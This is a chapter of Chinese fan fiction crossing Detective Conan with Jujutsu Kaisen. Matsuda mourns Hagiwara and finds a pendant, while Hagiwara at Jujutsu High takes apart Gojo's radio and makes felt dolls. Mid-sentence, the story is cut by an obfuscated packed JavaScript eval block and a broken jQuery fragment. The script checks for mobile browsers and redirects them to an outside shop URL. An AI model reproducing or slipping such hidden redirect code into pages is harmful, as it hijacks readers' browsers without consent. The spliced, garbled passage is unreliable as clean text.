松田阵平还在绝赞休假中。
尽管松田阵平多次表示,自己可以继续工作,但警视厅那边就是不肯让他复职。
上司态度坚决,对萩原研二的死无比愧疚。
他自认失职,不该让才入职半年的萩原研二过早带队执行任务,觉得是自己导致一个天才排爆手陨落。
松田阵平对此嗤之以鼻。
难道让其他人带队,炸弹就不会爆炸了吗?
萩原能活,小队的其他同事就不会死了吗?
而萩原只是做了他该做的事情。
要论错,也该是那个炸弹犯的错。
最近没了松田阵平,东京每天各种爆炸案依旧层出不穷。
机动队整日忙得飞起,直升机的螺旋桨都快转烧了。
等松田阵平年后复职,怕是整个办公室的同事都要燃成舍利子。
所以松田阵平选择自己去找炸弹拆。
炸弹犯的思维很简单,无非就是往人多有钱的地方跑。
而松田阵平运气不错,每天上街都能遇到各种案件。虽不一定都是炸弹,但依旧为米花的破案率贡献不少力量。
松田阵平甩甩手,活动活动因为揍犯人揍得发酸的手指关节。
“又是你啊,松田。”
等目暮警官赶到现场,歹徒早已倒在地上不省人事。
“这次又是什么案子?”
“他在饭店埋炸弹,以所有顾客做要挟抢劫。”
而松田阵平就是饭店顾客之一。
目暮警官:真的吗?是你自己找上门的吧?
松田阵平表示冤枉,他还真是来吃饭的。
这犯人简直蠢货一个,饭店有什么好抢的,害得他没吃上几口,饭都凉了。
“松田,其实你不必那么拼命的。”
目暮觉得松田阵平一个休假的,都快比他一个在职警察还要勤快了。
“我只是闲不住。”
松田阵平看向倒在地上的炸弹犯。
他只是听到炸弹就来气,他只是想把遇到的每一个炸弹犯,都当成十一月七日那天的炸弹犯抓起来。
他只是想给萩原研二报仇。
去洗手间顺手把炸弹一拆,就不用麻烦爆处组的同事们了。
拒绝了饭店经理免费再做一餐的感谢,松田阵平直接走回和萩原研二一起合租的公寓里。
公寓少了一个人,显得空旷许多。松田阵平也不打算再找合租,一个人就一个人吧。
萩原千速上次来,带走了研二不少东西。有些合买的就留给了松田阵平。
例如地上的炸弹模型,就是萩原研二去世前两人没拼完的。
松田阵平想独自将它完成,可其中一个零件怎么也找不到了。
可能是整理遗物时,不小心丢了吧。
走到萩原研二的房间,里面的东西所剩无几,松田阵平自萩原千速来过后再也没进去。
这次松田阵平也没打算进,连灯都没开,只是站在客厅往里望,也不知道在望什么。
客厅的大灯从松田阵平背后照进一束光,床边的柜子上好像反射出了什么东西。
松田阵平心念一动,鬼使神差般走进房间。
试探性伸手一摸,指尖触碰到一阵冰凉。
将东西拿起,居然是一个金属吊坠,镶嵌着萩原研二的照片。
居然是入职那天一起拍的证件照。
照片上的人罕见地正经,目光坚毅直视前方。
周围的金属做工粗糙,放商店里不像是卖得出去的样子。
不会是萩原研二自己做的吧。
谁会把自己的照片做成吊坠啊?不都是女朋友的照片或者喜欢的明星吗?
好自恋。
不愧是萩原研二。
松田阵平噗嗤一声笑了出来。
千速姐居然没把它带走。
透过客厅折射进来的灯光,松田阵平眼尖地看到吊坠角落有些许锈蚀。
不管了,既然还留在这个房间,那就是他的了。
松田阵平将吊坠挂在脖子上,竟意外地不重,甚至有些轻盈。
手艺不错嘛。
东京咒术高专。
萩原研二怔愣片刻,随后扬起一丝微笑。
啊,小礼物被发现了。
那枚吊坠上有萩原研二的咒力,可以感受到佩戴者的位置和状态。
小阵平会是什么反应呢?
不会感动到流泪吧?
美滋滋的萩原研二在五条悟的房间里无意义地乱逛起来。
五条悟去洗澡了,萩原研二仗着没人看着自己,又蹦又跳起来。
随后便被一个长相奇怪的收音机吸引视线。
这是什么东西?
一张又宽又大的香肠嘴,长长的天线上长着一只眼睛。
回忆一起看过的影视作品,萩原研二感觉这东西好像外星人的脑袋。
现在它的嘴巴和眼睛都闭着,是死了还是睡着了?
萩原研二伸出手指,在收音机上搓了搓。
没反应。
又戳了戳。
还是没反应。
胆子逐渐大了起来,萩原研二直接碰上它的香肠嘴。
触感比想象中差,只是普通的硅胶材质。
眼睛又会是什么感觉?
萩原研二干脆将整个收音机拿起来看。
眼睛只是机械造物,手感冰冰凉凉。
翻到背面,萩原研二大失所望。
还以为是什么奇特咒具,或者神奇生物,原来只是一个普通的收音机而已。
既然是普通的收音机,那肯定可以拆吧。
萩原研二的手有些痒痒。
等五条悟洗完澡出来,看到的只有乖乖巧巧坐在地毯上打游戏的萩原研二。
“怎么样?游戏好玩吗?”
五条悟凑过去一看:“欸?怎么还在第一关?要不要五条老师来帮你?”
也没管萩原研二的意见,五条悟一屁股坐在萩原研二身边。
“哎呦!”五条悟突然怪叫一声,随后从屁股底下掏出来一个螺丝钉。
“这是啥?地毯上什么时候多了个螺丝钉?”
一旁的萩原研二暗叫一声不好。
完了完了!一定是刚才拆收音机时落下的!
萩原研二身体瞬间紧绷起来,脸上闪过一丝不自然。
“真扫兴!算了,我放首歌搞搞氛围吧。”
五条悟长臂一捞,一下子将那个长相奇特的手机捞进怀里。
萩原研二有些心虚。
只少了一个螺丝钉的话,应该没问题吧。
“嗯?怎么没声音?”
萩原研二汗流浃背。
不会吧……
“大嘴!我的大嘴!你怎么了?你怎么不说话了?”
五条悟捧着收音机开始嚎啕大哭:“呜呜……陪伴我多年的大嘴啊……你怎么就死了呢……”
萩原研二见状,赶紧道歉:“对不起!都是我干的!我我我……我一定帮你修好它!”
一把抢过五条悟怀里的收音机,重新拆开收音机的外壳,萩原研二却死活找不到落下的螺丝钉位置。
啊啊啊,早知道就不拆了!
萩原研二现在十分懊恼。
可恶!他小时候明明不是这样的!
一定是爱拆东西的小阵平把他给传染了!
萩原研二欲哭无泪。
他堂堂拆弹警察,居然被一个小小的收音机打败。
被小阵平知道了一定
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572594|204943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会笑话自己的……
嘎吱——
不远处传来一声奇怪的声音。
嘎吱嘎吱——
声音还在继续,萩原研二不堪其扰,转头看过去。
只看到五条悟抓着门板晃来晃去。
“啊嘞嘞——浴室的门好像坏了呢。”
“我知道了!”
五条悟灵光一闪,把手上的螺丝钉拧进合页上的缺口。
再次开关门板,没声了。
“当当!修好了!”
萩原研二目瞪口呆。
如果螺丝钉是门板上的,那收音机……
“嗯?你说那个丑东西啊?”
五条悟随意一撇:“多少年前的破烂了,早就报废了。”
“现在这年头,谁还用收音机啊?萩原你也太老土了吧。”
哪还有刚才伤心的样子。
萩原研二:……
“五条悟!你就是故意的!”
次日清晨,五条悟天还没亮就将萩原研二叫醒,把他栓到夜蛾校长的办公室。
美名其曰他要工作,担心萩原研二一个人照顾不好自己。
萩原研二无语,借口也不知道找个好点的。
夜蛾正道今天没什么工作,昨天在办公室待一整天,早就把手上工作做完了。
熊猫这么早还没起,办公室就萩原研二和夜蛾正道两人。
夜蛾正道有些尴尬,干脆坐在地上开始做咒骸。
萩原研二想起小葵找五条悟要过咒骸来着,对咒骸也起了一丝兴趣,干脆凑到夜蛾正道身边看。
说起来,自从萩原研二戴上咒具后,小葵就又消失了。
但萩原研二总感觉她还在看着自己。
夜蛾正道做咒骸的方式很简单,就是拿一根针在棉花团上戳戳戳。
有点像做毛毡娃娃。
萩原研二看向身边的咒骸们,除了毛毡娃娃还有针织娃娃,布娃娃和不织布娃娃。
萩原研二忽然想起以前上学时,班上的女同学们。
当时为了有话题聊,萩原研二也好奇尝试过呢。
“夜蛾校长,我可以试一试吗?”
萩原研二眼眸亮晶晶地看向夜蛾正道。
萩原研二:想玩姐姐东西时be like。
夜蛾校长?夜蛾校长我也be like。
夜蛾正道犹豫一秒,找了根牙签给萩原研二。
“你拿这个试试吧,这个安全。”
接过牙签,萩原研二忽然想起了班长伊达航。
晃晃脑袋,萩原研二揪起一块棉花团,也开始戳戳戳。
一时间,校长办公室里只剩下戳戳戳的声音。
似乎有点好听。
萩原研二觉得自己和夜蛾校长可以联手开一个助眠直播间,一定会很成功的。
肉色棉花团做脑袋,青色棉花团做眼睛……
再用黑色做一头卷毛,再加个墨镜……
萩原研二做得认真,脑子里想的是好友们的模样,连熊猫什么时候来的都不知道。
“萩原,你在做什么啊?”
熊猫的声音忽然响起,把萩原研二吓了一跳。
见熊猫在看自己做的娃娃,萩原研二自豪地说道:“这是我的好朋友们!”
熊猫仔细辨认:“黑熊精,河童,大猩猩和黄毛狒狒?他们是你的咒灵朋友吗?”
萩原研二:???
“没礼貌!他们是我的人类朋友!”
“还有这不是河童!我只是没做完!没做完!头发还没加上呢!”
熊猫委屈:“噢噢……那其他三个……”
其他三个已经做完了……
萩原研二QAQ:呜……
真有那么丑吗?